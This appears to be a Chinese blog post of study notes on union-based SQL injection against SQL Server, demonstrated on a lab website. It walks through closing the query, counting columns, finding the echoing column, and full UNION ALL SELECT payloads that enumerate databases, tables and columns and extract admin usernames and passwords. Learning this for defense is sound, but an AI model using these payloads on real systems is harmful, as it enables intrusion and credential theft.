赞
踩
近日学习了sqlserver回显注入,所以写了这篇文章,本文也相当于自己的笔记,有错误的地方,请多多包涵。
当页面具有从数据查询得到的数据时,我们可以通过注入,将自己想要得到的数据替换掉原本显示在页面上的数据,以此查看到自己想要得到的数据,完成攻击。
实验环境为虚拟机搭建的以sqlserver为数据库的网站。
寻找疑似注入点一般有url,用户登录输入框,搜索输入框等,在该网站我的注入点为站内搜索输入框。
在对注入点进行注入攻击前要对该数据交互点的交互的数据类型进行判断。
1、输入单双引号、圆括号(判断的数据类型以及闭合方式)
2、模糊测试(通俗来讲就是暴力破解,即一个一个的尝试)
3、经验(以该网站为例子,对于新闻内容的查询,通常来说就是字符型)
该注入点数据类型为字符型
还有就是判断该注入点的闭合方式,以及该注入点是否可用。(上图可以判断出这两点)
在该注入发现闭合方式为'%xxxxx%' ,因此输入1%' 完成闭合,然后用 -- 将后面的语句注释,and后面跟上1=1代替后面我们要构造的payload语句,点击搜索,返回页面正常,说明注入生效。
1%' and 1=1 --
接下来我们就要判断该注入点输入的语句查询的表的列数。
使用的关键词为:
order by n #n为查询的表你猜测的列数
order by 对查询到的结果集按照一个列或者多个列进行排序,当后面的n超过查询表的列数时,就会返回错误的界面。因此我们可以通过先取一个较大的数值,随后通过二分法确定查询表列数
发现查询表的列数为6
在查询回显位之前,我们首先要将查询结果页面置空,即查询页面无结果,我们可以通过下面payload实现:
-1%' union all select null,null,null,null,null,null --
通过将1改为-1使union前面的语句错误使其执行union后面的语句,select后面的字段数应该与之前判断的列数相同
接下来我们通过union select联合查询来查询页面的回显位置,因为在sqlserver中仅使用union select来查询结果会自动去重,为达到效果,以sqlserver为数据库的联合查询注入应使用union all select
完成置空过后,因为mysql的查询语言弱类型而sqlserver是强类型的,因此union后面的null更改为产生回显的数据应该与该表中的这个字段类型相符合,我们将null从第一个开始更改为1或者'1',通过是否返回错误页面来判断这个字段的数据类型,通过更改得出以下payload:
-1%' union all select '1','2',3,'4',5,6 --
还得出了2号位字段回在页面上产生回显,因此接下来对二号位进行重点构造
到了这一个步骤就是根据自己的需求去查询了,通过更改2号位为查询语句或者函数来查询到自己想要的数据,查询结果会直接回显在页面上。
查询当前数据库
-1%' union all select '1',db_name(),3,'4',5,6 --
查询所有数据库
-1%' union all select '1',(name collate Chinese_PRC_BIN),3,'4',5,6 from master..sysdatabases --
查询数据表
-1%' union all select '1',(name collate Chinese_PRC_BIN),3,'4',5,6 from ST_WebCourse..sysobjects where xtype='U' --
找列名
- -1%' union all select '1',(name collate Chinese_PRC_BIN),3,'4',5,6 from ST_WebCourse..syscolumns where id=object_id('ST_admin') --
获取数据
-1%' union all select '1',str(id)+'~'+admin+'~'+pass ,3,'4',5,6 from ST_admin --
还可以自行更改2号位语句查询其他数据
以上就是sqlserver的联合查询注入的基本思路,如有错误,多多包涵,欢迎指出,谢谢。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。